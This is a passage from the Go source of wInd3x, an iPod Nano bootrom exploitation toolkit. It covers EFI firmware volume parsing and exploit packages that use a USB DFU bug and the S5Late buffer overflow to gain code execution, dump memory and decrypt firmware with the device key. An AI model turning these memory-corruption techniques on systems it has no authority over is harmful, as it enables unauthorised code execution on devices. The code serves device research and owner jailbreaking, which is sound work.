		data := make([]byte, header.Size.Uint32()-(4))
		if _, err := io.ReadFull(r, data); err != nil {
			return nil, fmt.Errorf("reading data: %w", err)
		}
		return &leafSection{
			commonSectionHeader: header,
			data:                data,
		}, nil
	case SectionTypeFirmwareVolumeImage:
		slog.Debug(" nested firmware image volume")
		sub := r.Sub(0, int(header.Size.Uint32()))
		r.Advance(sub.Len())
		vol, err := ReadVolume(sub)
		if err != nil {
			return nil, fmt.Errorf("reading nested image: %w", err)
		}
		return &NestedImageSection{
			commonSectionHeader: header,
			Vol:                 vol,
		}, nil
	}
	return nil, fmt.Errorf("unimplemented section type %s", header.Type)
}


================================================
FILE: pkg/efi/volume.go
================================================
package efi

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"io"
	"log/slog"
)

// FirmwareVolumeHeader as per EFI spec.
type FirmwareVolumeHeader struct {
	Reserved [16]byte
	GUID     GUID
	// Length is recalculated when Serialize is called.
	Length        uint64
	Signature     [4]byte
	AttributeMask uint32
	HeaderLength  uint16
	// Checksum is recalculated when Serialize is called.
	Checksum        uint16
	ExtHeaderOffset uint16
	Reserved2       uint8
	Revision        uint8
}

func (h *FirmwareVolumeHeader) check() error {
	ffs1 := "7a9354d9-0468-444a-81ce-0bf617d890df"
	ffs2 := "8c8ce578-8a3d-4f1c-9935-896185c32dd3"
	if h.GUID.String() != ffs1 && h.GUID.String() != ffs2 {
		return fmt.Errorf("unknown GUID (%s)", h.GUID.String())
	}
	if !bytes.Equal(h.Signature[:], []byte("_FVH")) {
		return fmt.Errorf("invalid signature")
	}
	if h.HeaderLength < (0x38 + 8) {
		return fmt.Errorf("header length too small")
	}
	return nil
}

// Volume is an EFI Firmware Volume. It contains an array of Files, all of
// which contain recursively nested Sections.
type Volume struct {
	FirmwareVolumeHeader
	Files []*FirmwareFile
	// Custom is trailing data at the end of the Volume.
	Custom  []byte
	MinSize int
}

type blockmap struct {
	BlockCount uint32
	BlockSize  uint32
}

// Parse an EFI Firmware Volume from a NestedReader. After parsing, all files
// and sections within them will be available. These can then be arbitrarily
// modified, and Serialize can be called on the resulting Volume to rebuild a
// binary.
func ReadVolume(r *NestedReader) (*Volume, error) {
	var header FirmwareVolumeHeader
	if err := binary.Read(r, binary.LittleEndian, &header); err != nil {
		return nil, fmt.Errorf("reading volume header failed: %w", err)
	}

	if err := header.check(); err != nil {
		return nil, fmt.Errorf("volume header invalid: %w", err)
	}

	blockmapSize := header.HeaderLength - 0x38
	if blockmapSize%8 != 0 {
		return nil, fmt.Errorf("blockmap size not a multiple of 8")
	}
	bmapCount := blockmapSize / 8
	var bmap []blockmap
	for i := 0; i < int(bmapCount); i++ {
		var entry blockmap
		if err := binary.Read(r, binary.LittleEndian, &entry); err != nil {
			return nil, fmt.Errorf("volume read failed: %w", err)
		}
		bmap = append(bmap, entry)
	}
	last := bmap[len(bmap)-1]
	if last.BlockCount != 0 || last.BlockSize != 0 {
		return nil, fmt.Errorf("blockmap does not end in (0, 0)")
	}

	if len(bmap) != 2 {
		return nil, fmt.Errorf("unsupported count of blockmaps (%d, wanted 2)", len(bmap))
	}

	slog.Debug("Blockmap", "bmap", bmap)

	dataSize := bmap[0].BlockCount * bmap[0].BlockSize

	slog.Debug("reader", "size", r.Len()+r.pos)
	slog.Debug("reader", "length", header.Length)
	slog.Debug("reader", "block_count_size", dataSize)
	restSize := (r.Len() + r.pos) - int(dataSize)
	slog.Debug("reader", "rest_size", restSize)

	var files []*FirmwareFile
	for r.Len() != 0 {
		slog.Debug("Reading file", "files", len(files), "left", r.Len())
		if r.Len() <= 16 {
			// HACK Needed for N5G.
			break
		}
		file, err := readFile(r)
		if err != nil {
			return nil, fmt.Errorf("reading file %d failed: %v", len(files), err)
		}
		if file == nil {
			break
		}
		files = append(files, file)
	}
	slog.Debug("Reading done", "files", len(files), "left", r.Len())

	paddingLen := r.Len() - restSize
	slog.Debug("padding", "len", paddingLen)
	padding := make([]byte, paddingLen)
	r.Read(padding)
	if !bytes.Equal(padding, bytes.Repeat([]byte{0xff}, paddingLen)) {
		return nil, fmt.Errorf("padding is not all 0xFF")
	}

	rest, err := io.ReadAll(r)
	if err != nil {
		return nil, fmt.Errorf("reading rest failed: %v", err)
	}
	slog.Debug("rest", "len", len(rest))
	slog.Debug("rest", "data", hex.Dump(rest))

	return &Volume{
		FirmwareVolumeHeader: header,
		Files:                files,
		Custom:               rest,
		MinSize:              int(dataSize),
	}, nil
}

func (v *Volume) Serialize() ([]byte, error) {
	// First, serialize all files apart from used padding file so that we know
	// how much data we're dealing with here.
	filesSize := 0
	fileData := make(map[int][]byte)
	for i, f := range v.Files {
		data, err := f.Serialize()
		if err != nil {
			return nil, fmt.Errorf("file %d: %w", i, err)
		}
		// Align all files to 8 bytes. I think generally we should align the
		// content to start at 16 bytes, with the header being an odd multiple
		// of 8, but this works for now?
		if len(data)%8 != 0 {
			pad := 8 - (len(data) % 8)
			data = append(data, bytes.Repeat([]byte{0xff}, pad)...)
		}
		fileData[i] = data
		filesSize += len(data)
	}
	// Now that we have a size, make a blockmap.
	totalSize := filesSize + 0x38 + 0x10
	if totalSize < v.MinSize {
		totalSize = v.MinSize
	}
	if totalSize%256 != 0 {
		totalSize += 256 - (totalSize % 256)
	}

	nblocks := uint32(totalSize / 256)
	bmap := []blockmap{
		{BlockCount: nblocks, BlockSize: 256},
		{BlockCount: 0, BlockSize: 0},
	}

	// Do final serialization pass into buffer.
	buf := bytes.NewBuffer(nil)
	// Header size.
	v.Length = 0
	// Blockmap size.
	v.HeaderLength = uint16(0x38 + 8*len(bmap))
	// Data size.
	v.Length += uint64(totalSize)
	v.ExtHeaderOffset = 0
	// TODO Reserved2/Revision?

	v.Checksum = 0
	checkBuf := bytes.NewBuffer(nil)
	binary.Write(checkBuf, binary.LittleEndian, v.FirmwareVolumeHeader)
	binary.Write(checkBuf, binary.LittleEndian, bmap)
	v.Checksum = checksum16(checkBuf.Bytes())

	if err := binary.Write(buf, binary.LittleEndian, v.FirmwareVolumeHeader); err != nil {
		// Shouldn't happen.
		panic(err)
	}
	if err := binary.Write(buf, binary.LittleEndian, bmap); err != nil {
		// Shouldn't happen.
		panic(err)
	}
	for i, f := range v.Files {
		if data, ok := fileData[i]; ok {
			if _, err := buf.Write(data); err != nil {
				// Shouldn't happen.
				panic(err)
			}
		} else {
			// Padding file.
			data, err := f.Serialize()
			if err != nil {
				// Shouldn't happen.
				panic(err)
			}
			if _, err := buf.Write(data); err != nil {
				// Shouldn't happen.
				panic(err)
			}
		}
	}

	buf.Write(bytes.Repeat([]byte{0xff}, totalSize-buf.Len()))
	buf.Write(v.Custom)
	return buf.Bytes(), nil
}


================================================
FILE: pkg/exploit/decrypt/decrypt.go
================================================
package decrypt

import (
	"bytes"
	"fmt"
	"io"
	"log/slog"
	"os"
	"time"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

// Payload creates a payload which decrypts 0x40 bytes from the DFU
// buffer into the DFU buffer using a zero IV and the Global key.
//
// Note: If using CBC, this means the first block will be junk.
//
// TODO(q3k): fix this by allowing to specify any IV. Didn't have luck
// reconstructing CBC this way so far, though...
func Payload(ep exploit.Parameters) ([]byte, error) {
	insns := ep.DisableICache()
	insns = append(insns, ep.AESCall()...)
	insns = append(insns, ep.HandlerFooter(ep.DFUBufAddr())...)
	payload := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: insns,
	}

	return payload.Assemble(), nil
}

func Trigger(usb devices.Usb, ep exploit.Parameters, data []byte) ([]byte, error) {
	if err := dfu.Clean(usb); err != nil {
		return nil, fmt.Errorf("clean failed: %w", err)
	}
	payload, err := Payload(ep)
	if err != nil {
		return nil, fmt.Errorf("failed to generate payload: %w", err)
	}

	dataCopy := make([]byte, 0x40)
	copy(dataCopy, data)
	res, err := exploit.RCE(usb, ep, payload, dataCopy)
	if err != nil {
		return nil, fmt.Errorf("failed to execute decrypt payload: %w", err)
	}

	return res, nil
}

type Option struct {
	Progress func(float32)
}

func Decrypt(app *app.App, in []byte, recoveryPath string, options ...Option) ([]byte, error) {
	slog.Info("Decrypting ...", "len", len(in))
	w := bytes.NewBuffer(nil)

	var progress func(float32) = nil
	for _, opt := range options {
		if opt.Progress != nil {
			progress = opt.Progress
		}
	}

	// Create a temporary file that we can use to continue decryption from
	// after restarting the program.
	var recovery io.WriteCloser
	if recoveryPath != "" {
		st, err := os.Stat(recoveryPath)
		if err == nil {
			slog.Info("Using recovery buffer...", "path", recoveryPath)
			sz := st.Size()
			if (sz % 0x30) != 0 {
				return nil, fmt.Errorf("recovery buffer invalid size (%x)", sz)
			}
			f, err := os.Open(recoveryPath)
			if err != nil {
				return nil, fmt.Errorf("could not open recovery buffer: %w", err)
			}
			if _, err := io.Copy(w, f); err != nil {
				return nil, fmt.Errorf("could not read recovery buffer: %w", err)
			}
			f.Close()
		} else if os.IsNotExist(err) {
			slog.Info("Creating recovery buffer...", "path", recoveryPath)
		} else {
			// This happens on the WASM port, quick hack to work around it...
			slog.Error("Could not access recovery buffer", "error", err)
			goto no_recovery
		}
		recovery, err = os.OpenFile(recoveryPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err != nil {
			return nil, fmt.Errorf("could not open recovery buffer for append: %w", err)
		}
	}
no_recovery:

	ix := w.Len()
	for {
		if (ix % 0x300) == 0 {
			if progress != nil {
				progress(float32(ix) / float32(len(in)))
			} else {
				slog.Info("Decrypting", "ix", ix, "percent", float64(ix*100)/float64(len(in)))
			}
		}

		// Get plaintext block, pad to 0x30.
		ixe := ix + 0x30
		if ixe > len(in) {
			ixe = len(in)
		}
		b := in[ix:ixe]
		b = append(b, bytes.Repeat([]byte{0}, 0x30-len(b))...)

		tries := 10
		var res []byte
		for {
			data := make([]byte, 0x40)
			// We need to feed the previous 0x10 bytes of ciphertext for...
			// some reason. Unless we're the first block.
			if ix == 0 {
				copy(data[:0x30], b)
			} else {
				copy(data[:0x10], in[ix-0x10:ix])
				copy(data[0x10:0x40], b)
			}

			var err error
			res, err = Trigger(app.Usb, app.Ep, data)
			if err == nil {
				break
			}
			if tries < 1 {
				return nil, fmt.Errorf("decryption failed, and out of retries: %w", err)
			} else {
				slog.Info("Decryption failed, retrying...", "err", err)
				time.Sleep(100 * time.Millisecond)
				tries -= 1
			}
		}

		plaintext := res[0x10:0x40]
		if ix == 0 {
			plaintext = res[0x00:0x30]
		}
		if recovery != nil {
			if _, err := recovery.Write(plaintext); err != nil {
				return nil, fmt.Errorf("write to recovery failed: %w", err)
			}
		}
		if _, err := w.Write(plaintext); err != nil {
			return nil, fmt.Errorf("write failed: %w", err)
		}

		ix += 0x30
		if ix >= len(in) {
			break
		}
	}

	return w.Bytes(), nil
}


================================================
FILE: pkg/exploit/dumpmem/dumpmem.go
================================================
package dumpmem

import (
	"fmt"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

func Trigger(usb devices.Usb, ep exploit.Parameters, addr uint32) ([]byte, error) {
	if err := dfu.Clean(usb); err != nil {
		return nil, fmt.Errorf("clean failed: %w", err)
	}
	insns := ep.DisableICache()
	insns = append(insns, ep.HandlerFooter(addr)...)
	payload := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: insns,
	}

	return exploit.RCE(usb, ep, payload.Assemble(), nil)
}


================================================
FILE: pkg/exploit/exploit.go
================================================
package exploit

import (
	"bytes"
	"fmt"
	"time"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

type Parameters interface {
	// Prepare runs any code required to run the main exploit. This is needed
	// for chaining from S5Late on N6G/N7G.
	Prepare(usb devices.Usb) error

	// Address of the DFU data buffer.
	DFUBufAddr() uint32
	// Address at which payload begins execution, within the DFU data buffer,
	// as jumped into by the SetupPacket.
	ExecAddr() uint32
	// Address of the USB DMA buffer, ie. the SETUP packet currently being
	// processed.
	USBBufAddr() uint32
	// Address of trampoline in bootrom, jumped to by handler.
	TrampolineAddr() uint16
	// Setup packet to be sent. This must also be valid ARM code, as it happens
	// to be executed.
	SetupPacket() []byte

	HandlerFooter(addr uint32) []uasm.Statement
	AESCall() []uasm.Statement
	HaxedDFUPayload() []uasm.Statement
	DisableICache() []uasm.Statement

	NANDInit(bank uint32) ([]uasm.Statement, error)
	NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32)
	// Read JEDEC identifer from currently selected bank
	NANDIdentify() ([]uasm.Statement, uint32)

	NORInit(spino uint32) ([]uasm.Statement, error)
	NORRead(spino uint32, offset uint32) ([]uasm.Statement, uint32)
}

func ldrOrMov(r uasm.Register, val uint32) uasm.Statement {
	// This could probably be higher, but I've had some issues with this.
	// TODO: verify against ARM spec.
	if val >= 1<<8 {
		return uasm.Ldr{Dest: r, Src: uasm.Constant(val)}
	}
	return uasm.Mov{Dest: r, Src: uasm.Immediate(val)}
}

func makeCall(addr uint32, params ...uint32) []uasm.Statement {
	var stackParams []uint32
	if len(params) > 4 {
		stackParams = params[4:]
	}

	var res []uasm.Statement

	if len(params) > 4 {
		// Make space on stack.
		stackFrame := len(stackParams) * 4
		res = append(res,
			uasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},
		)
		// Set stack params.
		for i := len(stackParams) - 1; i >= 0; i-- {
			offs := 4 * uint16(i)
			res = append(res,
				ldrOrMov(uasm.R0, stackParams[i]),
				uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.SP, offs)},
			)
		}
	}
	// Set register params.
	for i := 0; i < 4; i++ {
		if i >= len(params) {
			break
		}
		res = append(res,
			ldrOrMov(uasm.Register(i), params[i]),
		)
	}
	// Perform call.
	res = append(res,
		uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(addr)},
		uasm.Blx{Dest: uasm.LR},
	)

	if len(params) > 4 {
		// Clean up stack.
		stackFrame := len(stackParams) * 4
		res = append(res,
			uasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},
		)
	}

	return res
}

var ParametersForKind = map[devices.Kind]Parameters{
	devices.Nano3:     &epNano3G{},
	devices.Nano4:     newEPNano4G(),
	devices.Nano5:     newEPNano5G(),
	devices.Nano7:     S5LateParametersForKind[devices.Nano7],
	devices.Nano7Late: S5LateParametersForKind[devices.Nano7],
}

func RCE(usb devices.Usb, ep Parameters, payload, data []byte) ([]byte, error) {
	if err := usb.SetControlTimeout(time.Millisecond * 50); err != nil {
		return nil, err
	}

	prefixLen := int(ep.ExecAddr() - ep.DFUBufAddr())
	if len(data) > prefixLen {
		return nil, fmt.Errorf("data too long")
	}
	pad := bytes.Repeat([]byte{'Z'}, prefixLen-len(data))
	data = append(data, pad...)
	payload = append(data, payload...)

	// Upload payload into DFU buffer, and reset status afterwards.
	if len(payload) > 0x400 {
		return nil, fmt.Errorf("payload too large (%d > %d)", len(payload), 0x400)
	}
	if err := dfu.SendChunk(usb, payload, 0); err != nil {
		return nil, fmt.Errorf("Upload: %w", err)
	}
	if err := dfu.Clean(usb); err != nil {
		return nil, fmt.Errorf("clean: %w", err)
	}

	buf := make([]byte, 0x40)
	if _, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf); err != nil {
		return nil, fmt.Errorf("first upload failed: %v", err)
	}

	if ep.TrampolineAddr() != 0 {
		// Start a download of X+0x40 bytes, this will only send 0x40 bytes
		// (for some reason large control transfers don't work?), causing a state
		// structure field to be set to X.
		// X = TrampolineAddr, which is 0x3b0 for Nano 4G and 0x37c for Nano 5G
		l := ep.TrampolineAddr() + 0x40
		buf = make([]byte, l)
		_, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf)
		if want, got := devices.UsbTimeoutError, err; want != got {
			return nil, fmt.Errorf("upload trigger should have returned %v, got %v", want, got)
		}
	}

	// Trigger bug. This should get the payload executing.
	setup := ep.SetupPacket()
	bmRequestType := setup[0]
	bRequest := setup[1]
	wValue := uint16(setup[2]) | (uint16(setup[3]) << 8)
	wIndex := uint16(setup[4]) | (uint16(setup[5]) << 8)
	res := make([]byte, 0x40)
	_, err := usb.Control(bmRequestType, bRequest, wValue, wIndex, res)
	if err != nil {
		return nil, fmt.Errorf("bug trigger: %w", err)
	}

	return res, nil

}


================================================
FILE: pkg/exploit/haxeddfu/haxeddfu.go
================================================
package haxeddfu

import (
	"fmt"
	"log/slog"
	"unicode/utf16"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

const ProductString = "haxed dfu"

func makeStringDescriptor(s string) []byte {
	descriptor := []byte{
		0, 0x03,
	}
	for _, cp := range utf16.Encode([]rune(s)) {
		descriptor = append(descriptor, uint8(cp&0xff), uint8(cp>>8))
	}
	descriptor[0] = uint8(len(descriptor))
	return descriptor
}

func Payload(ep exploit.Parameters) ([]byte, error) {
	descriptor := makeStringDescriptor(ProductString)

	insns := ep.DisableICache()
	insns = append(insns, ep.HaxedDFUPayload()...)
	insns = append(insns, ep.HandlerFooter(0x20000000)...)
	insns = append(insns,
		uasm.Label("descriptor"),
		uasm.Embed(descriptor),
	)
	payload := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: insns,
	}

	return payload.Assemble(), nil
}

func Trigger(usb devices.Usb, ep exploit.Parameters, force bool) error {
	p, err := usb.GetStringDescriptor(2)
	if err != nil {
		return fmt.Errorf("retrieving string descriptor: %v", err)
	}
	if want, got := ProductString, p; want == got {
		if force {
			slog.Info("Device already running haxed DFU, but forcing re-upload")
		} else {
			slog.Info("Device already running haxed DFU")
			return nil
		}
	}
	slog.Info("Generating payload...")

	payload, err := Payload(ep)
	if err != nil {
		return fmt.Errorf("failed to generate payload: %w", err)
	}

	if err := dfu.Clean(usb); err != nil {
		return fmt.Errorf("clean failed: %w", err)
	}
	slog.Info("Running rce....")
	if _, err := exploit.RCE(usb, ep, payload, nil); err != nil {
		return fmt.Errorf("failed to execute haxed dfu payload: %w", err)
	}

	// Check descriptor got changed.
	p, err = usb.GetStringDescriptor(2)
	if err != nil {
		return fmt.Errorf("retrieving string descriptor: %v", err)
	}
	if want, got := ProductString, p; want != got {
		return fmt.Errorf("string descriptor got unexpected result, wanted %q, got %q", want, got)
	}
	slog.Info("Haxed DFU running!")

	return nil

}


================================================
FILE: pkg/exploit/s5late_n7g.go
================================================
package exploit

// This implements gsch's s5late exploit for the S5L87xx BootROMs.
//
// The vulnerability exploited lies in the DFU download handler - while the
// number of data (wLength) in each individual download operation is checked
// against a maximum buffer size, cumulative writes are not. This means that we
// can overflow the buffer by doing subsequent downloads.
//
// Overflowing past the buffer lets us override the g_State pointer at 2202fff4.
// This is the main pointer used by the code to dereference access to the State
// structure of the bootROM, which lives on the SVC stack and contains pretty
// much the entire state of the bootrom codebase, including USB handlers and DFU
// handlers.
//
// Unfortunately, because that structure is very large and critical for the
// operation of the bootrom, it needs to be painstakingly recreated from scratch
// even if we just want to modify one field. The easiest way to do that is to
// dump it from a running device. For <=N5G we can use the wInd3x bug to dump
// it. For N6G/N7G we can use CUB3D's userspace ipod_sun exploit, as the
// structure is not zeroed out by the time RetailOS is booted. There is
// currently no known vulnerability to leak the State structure from a running
// BootROM other than wInd3x.
//
// We have an exploit chain very similar to gsch's original S5Late code. But
// instead of enabling CFW/HaxedDFU, we instead patch the Vendor USB interface
// request to be a 'blx r0', thereby turning it into a wInd3x-compatible bug.
// This then allows us to chain the rest of the wInd3x functionality/codebase
// from a massively different bug. This isn't optimal, but it makes for less
// code duplication.

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log/slog"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

type S5LateParameters struct {
	// stateRaw are the raw bytes of the State structure from a running bootrom.
	stateRaw []byte
	// bufferLocation is the location of the DFU buffer in memory.
	bufferLocation uint32
	// magicalMysteryValue is the value located at 0x2202fff0 in SRAM, which if
	// overridden crashes the device - even though it does not seem to be read
	// or written by any software running on the iPod.
	magicalMysteryValue uint32
}

func (p *S5LateParameters) DFUBufAddr() uint32 {
	return p.bufferLocation
}

func (p *S5LateParameters) ExecAddr() uint32 {
	return 0x2202de0c
}

func (p *S5LateParameters) USBBufAddr() uint32 {
	return 0x2202e300
}

func (p *S5LateParameters) SetupPacket() []byte {
	return []byte{0xc1, 0xfe, 0xff, 0xea, 0x00, 0x00, 0x00, 0x00}
}

func (p *S5LateParameters) NANDInit(bank uint32) ([]uasm.Statement, error) {
	return nil, fmt.Errorf("unimplemented")
}

func (p *S5LateParameters) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {
	panic("unimplemented")
}

func (p *S5LateParameters) NANDIdentify() ([]uasm.Statement, uint32) {
	panic("unimplemented")
}

func (p *S5LateParameters) NORInit(spino uint32) ([]uasm.Statement, error) {
	return nil, fmt.Errorf("unimplemented")
}

func (p *S5LateParameters) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {
	panic("unimplemented")
}

func (p *S5LateParameters) HaxedDFUPayload() []uasm.Statement {
	// Same as N4G/N5G, just can't be bothered to express that at the type
	// system level.
	ep2 := epNano45G{ret1Addr: 0x2000_0f0c}
	return ep2.HaxedDFUPayload()
}

func (p *S5LateParameters) TrampolineAddr() uint16 {
	// No real trampoline, the requested class handler (0) is always buggy after
	// we make it so via the s5late vuln.
	return 0
}

func (p *S5LateParameters) HandlerFooter(addr uint32) []uasm.Statement {
	return []uasm.Statement{
		// Return 0x40 bytes of requested address.
		uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},
		uasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},
		uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a654)},
		uasm.Blx{Dest: uasm.R2},
		// Fixup LR (after trampoline blx messes it up)
		uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004fb0)},
		uasm.Bx{Dest: uasm.LR},
	}
}

func (p *S5LateParameters) AESCall() []uasm.Statement {
	return makeCall(0x20002264, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)
}

func (p *S5LateParameters) DisableICache() []uasm.Statement {
	// Turns out that disabling ICache actually breaks DFU mode for some reason.
	// This doesn't make sense, but I'm not going to argue.
	//return makeCall(0x200004b8)
	return []uasm.Statement{}
}

func (p *S5LateParameters) Prepare(usb devices.Usb) error {
	// Set up a DFU buffer that will start at bufferLocation and override until
	// pretty much the end of SRAM.

	buf := bytes.NewBuffer(nil)

	buf.Write(bytes.Repeat([]byte{0}, 0x880))

	// Prepare first stage payload.
	payloadAddr := p.bufferLocation + uint32(buf.Len())
	payload := uasm.Program{
		Address: payloadAddr,
		Listing: []uasm.Statement{
			// R0 <- address of original state
			uasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202ba3c)},
			// R1 <- R0 + offset of vendor handler in state
			uasm.Add{Dest: uasm.R1, Src: uasm.R0, Compl: uasm.Immediate(0x54 + 5*4)},
			// R2 <- blx r0 instr
			uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000_0474)},
			// [R1] <- R2, override vendor handler in original state
			uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R1, 0)},

			// Reset DFU state fields.
			uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0)},
			uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x08)},
			uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x0c)},
			uasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x10)},

			// R2 <- address of pointer to state
			uasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2202fff8)},
			// [R2] <- R0, use original state again
			uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R2, 0)},

			uasm.Bx{Dest: uasm.LR},
		},
	}
	payloadBytes := payload.Assemble()
	buf.Write(payloadBytes)

	// New state to override.
	newStateAddr := p.bufferLocation + uint32(buf.Len())
	var newState state
	if binary.Size(&newState) != len(p.stateRaw) {
		return fmt.Errorf("raw state size (0x%x) doesn't match struct size (0x%x)", len(p.stateRaw), binary.Size(&newState))
	}
	if err := binary.Read(bytes.NewBuffer(p.stateRaw), binary.LittleEndian, &newState); err != nil {
		return fmt.Errorf("could not unpack raw state: %w", err)
	}
	newState.DFURecursiveState = newStateAddr
	newState.USBUploadComplete = 0
	newState.DFUImageReady = 0
	newState.DFULoopRun = 1
	newState.DFUStatusData = [6]byte{
		0, 21, 37, 42, 5, 0,
	}
	newState.DFUOnUploadChunk = payloadAddr
	binary.Write(buf, binary.LittleEndian, &newState)

	// We want to overflow into:
	//   2202_fff0: magical mystery value
	//   2202_fff4: (power?) state
	//   2202_fff8: g_State pointer (needs to point at new state)
	//   2202_fffc: g_Heap pointer (smashing it because might as well)

	// Pad until the mystery value.
	needLength := (0x2202_fff0 - p.bufferLocation)
	left := int(needLength) - buf.Len()
	if left < 0 {
		return fmt.Errorf("buffer too large")
	}
	buf.Write(bytes.Repeat([]byte{0}, left))

	if buf.Len()+int(p.bufferLocation) != 0x2202_fff0 {
		return fmt.Errorf("math seems off")
	}

	// Write overrides.
	binary.Write(buf, binary.LittleEndian, struct {
		mystery      uint32
		powerState   uint32
		statePointer uint32
		heapPointer  uint32
	}{
		p.magicalMysteryValue, 0, newStateAddr, 0x2202d900,
	})

	if err := dfu.Clean(usb); err != nil {
		return fmt.Errorf("clean: %w", err)
	}

	// Send in 0x410 chunks.
	//
	// The funny chunk size is required so that we never end up with a total
	// transferred size of 0x800 - or the status handling code will think we're
	// done sending things over.
	bufBytes := buf.Bytes()
	blockno := uint16(0)
	for {
		if len(bufBytes) == 0 {
			break
		}
		chunkSize := len(bufBytes)
		if chunkSize > 0x410 {
			chunkSize = 0x410
		}
		chunk := bufBytes[:chunkSize]
		bufBytes = bufBytes[chunkSize:]

		if err := dfu.SendChunk(usb, chunk, blockno); err != nil {
			return fmt.Errorf("can't send chunk over DFU: %w", err)
		}
		status, err := dfu.GetStatus(usb)
		if err != nil {
			return fmt.Errorf("dfu status failed: %w", err)
		}
		if want, got := dfu.ErrOk, status.Err; want != got {
			return fmt.Errorf("dfu status expected %d, got %d", want, got)
		}
		blockno += 1
	}

	if err := dfu.ClearStatus(usb); err != nil {
		return fmt.Errorf("dfu status clear failed: %w", err)
	}

	// Trigger the hook, firing the payload above.
	_, err := dfu.ReceiveChunk(usb, 0x40, 0)
	if err != nil {
		return fmt.Errorf("failed to trigger on_upload handler: %w", err)
	}

	status, err := dfu.GetStatus(usb)
	if err != nil {
		return fmt.Errorf("dfu status failed: %w", err)
	}
	if want, got := dfu.ErrOk, status.Err; want != got {
		return fmt.Errorf("post upload dfu status expected %d, got %d", want, got)
	}

	slog.Info("Used S5Late (by gsch) to reintroduce wInd3x-style bug.")

	return nil
}

// state is the main BootROM state structure. We don't need most of these fields
// to be defined, but might as well.
type state struct {
	DFUBuf              uint32 // 0x00
	DFUBufSize          uint32 // 0x04
	DFUTransferredBytes uint32 // 0x08
	DFUCurrentSize      uint32 // 0x0c

	USBUploadComplete byte    // 0x10
	Pad1              [3]byte // 0x11

	DFUOnDetach          uint32 // 0x14
	DFUOnDownloadChunk   uint32 // 0x18
	DFUOnUploadChunk     uint32 // 0x1c
	DFUBootVerifyAndCopy uint32 // 0x20

	VTable uint32 // 0x24

	DFULoopRun    byte    // 0x28
	DFUImageReady byte    // 0x29
	Pad2          [2]byte // 0x2a

	Unk2 uint32 // 0x2c

	IMGHeaderJumpOffset uint32  //0x30
	IMGHeaderVersion    [3]byte //0x34
	Pad3                byte    // 0x37
	Unk4                uint32  // 0x38

	DFURecursiveState    uint32  // 0x3c
	DFUInterfaceSubClass byte    // 0x40
	DFUInterfaceProtocol byte    // 0x41
	DFUStatusData        [6]byte // 0x42

	CRC     uint32 // 0x48
	CRCable uint32 // 0x4c

	USBState             byte   // 0x50
	CurrentConfiguration byte   // 0x51
	SelfPowered          uint16 // 0x52

	USBHandlers [1]usbHandlers // 0x54

	USBEndpointDescriptor      uint32  // 0x70
	USBUnkInterfaceDescStuff   uint16  // 0x74
	UsbInterfaceNo             byte    // 0x76
	Pad4                       byte    // 0x77
	USBDeviceDescriptor        uint32  // 0x78
	USBConfigurationDescriptor uint32  // 0x7c
	USBStringDescZero          uint32  // 0x80
	USBStringDescCount         byte    // 0x84
	Pad5                       [3]byte // 0x85

	AESFlag     uint32 // 0x88
	SHAIntrFlag uint32 // 0x8c
	SHAOffset   uint32 // 0x90
	SHAHashed   uint32 // 0x94
	SHACont     uint32 // 0x98

	DMAChannelsUsed       byte    // 0x9c
	DMAChannel0Configured byte    // 0x9d
	Pad6                  [2]byte // 0x9e

	USBState2   byte    // 0xa0
	Pad7        [3]byte // 0xa1
	Unk5        byte    // 0xa4
	USBEP0State byte    // 0xa5
	Pad8        [2]byte // 0xa6

	EP0RXBufAddr      uint32  // 0xa8
	EP0RXBufOffset    uint32  // 0xac
	EP0RXBufSize      uint32  // 0xb0
	EP0TXBufAddr      uint32  // 0xb4
	EP0TXBufOffset    uint32  // 0xb8
	EP0TXBufSize      uint32  // 0xbc
	EP0DMA            uint32  // 0xc0
